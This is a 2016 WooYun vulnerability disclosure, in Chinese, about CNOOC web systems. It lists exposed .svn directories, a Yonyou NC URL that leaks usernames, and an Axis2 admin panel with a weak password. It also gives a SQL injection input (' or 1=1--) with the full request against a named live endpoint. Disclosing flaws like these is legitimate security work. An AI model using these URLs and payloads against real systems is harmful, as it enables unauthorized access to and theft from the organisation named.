当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0184064

漏洞标题：中国海洋石油总公司多站配置不当(存在Axis2弱口\svn\越权等)

相关厂商：中国海洋石油总公司

漏洞作者： 黑色键盘丶

提交时间：2016-03-13 08:41

修复时间：2016-03-18 08:50

公开时间：2016-03-18 08:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-13： 细节已通知厂商并且等待厂商处理中
2016-03-18： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

三处svn泄露

https://buy.cnooc.com.cn/cbjywebframe/.svn/entries
https://buy.cnooc.com.cn/cbjyweb/.svn/entries
https://buy.cnooc.com.cn/cbjylogin/.svn/entries


KZBLPCR3THF])E}8LL2L)7O.png


这里是用友nc系统后台：http://zhaopin.cnooc.com.cn/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.login.LoginAction
通过用友用户名泄露的漏洞得到用户名：http://zhaopin.cnooc.com.cn/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.release.InfoReleaseAction&method=createBBSRelease&TreeSelectedID=&TableSelectedID=

3J1]WPNR{8{~~M52LS}F]Q5.png


-------------------------------------
WooYun: 用友NC-IUFO报表系统SQL注入（无需登录通杀所有版本） 这个案例来sql注入
站点：http://zhaopin.cnooc.com.cn 

http://zhaopin.cnooc.com.cn/service/~iufo/com.ufida.web.action.ActionServlet?RefTargetId=m_strUnitCode&onlyTwo=false&param_orgpk=level_code&retType=unit_code&Operation=Search&action=nc.ui.iufo.web.reference.base.UnitTableRefAction&method=execute


简单检测

UKE1UKD0`BF%BJ$S8~PU(6A.jpg


' or 1=1--和' or 1=2--返回不一样

12.jpg


TreeSelectedID=&TableSelectedID=&refSearchProp=unit_code&refSearchPropLbl=%E5%8D%95%E4%BD%8D%E7%BC%96%E7%A0%81&refSearchOper=%3D&refSearchOperLbl=%E7%AD%89%E4%BA%8E&refSearchValue=' or 1=1--


axis2弱口令进入admin axis2 

http://cctv.cnooc.com.cn/axis2-admin

%QJVWN~HL3S5AH523SQ_Z(C.png

漏洞证明：

三处svn泄露

https://buy.cnooc.com.cn/cbjywebframe/.svn/entries
https://buy.cnooc.com.cn/cbjyweb/.svn/entries
https://buy.cnooc.com.cn/cbjylogin/.svn/entries


KZBLPCR3THF])E}8LL2L)7O.png


这里是用友nc系统后台：http://zhaopin.cnooc.com.cn/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.login.LoginAction
通过用友用户名泄露的漏洞得到用户名：http://zhaopin.cnooc.com.cn/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.release.InfoReleaseAction&method=createBBSRelease&TreeSelectedID=&TableSelectedID=

3J1]WPNR{8{~~M52LS}F]Q5.png


-------------------------------------
WooYun: 用友NC-IUFO报表系统SQL注入（无需登录通杀所有版本） 这个案例来sql注入
站点：http://zhaopin.cnooc.com.cn 

http://zhaopin.cnooc.com.cn/service/~iufo/com.ufida.web.action.ActionServlet?RefTargetId=m_strUnitCode&onlyTwo=false&param_orgpk=level_code&retType=unit_code&Operation=Search&action=nc.ui.iufo.web.reference.base.UnitTableRefAction&method=execute


简单检测

UKE1UKD0`BF%BJ$S8~PU(6A.jpg


' or 1=1--和' or 1=2--返回不一样

12.jpg


TreeSelectedID=&TableSelectedID=&refSearchProp=unit_code&refSearchPropLbl=%E5%8D%95%E4%BD%8D%E7%BC%96%E7%A0%81&refSearchOper=%3D&refSearchOperLbl=%E7%AD%89%E4%BA%8E&refSearchValue=' or 1=1--


axis2弱口令进入admin axis2 

http://cctv.cnooc.com.cn/axis2-admin

%QJVWN~HL3S5AH523SQ_Z(C.png

修复方案：

删除

版权声明：转载请注明来源 黑色键盘丶@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-03-18 08:50

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无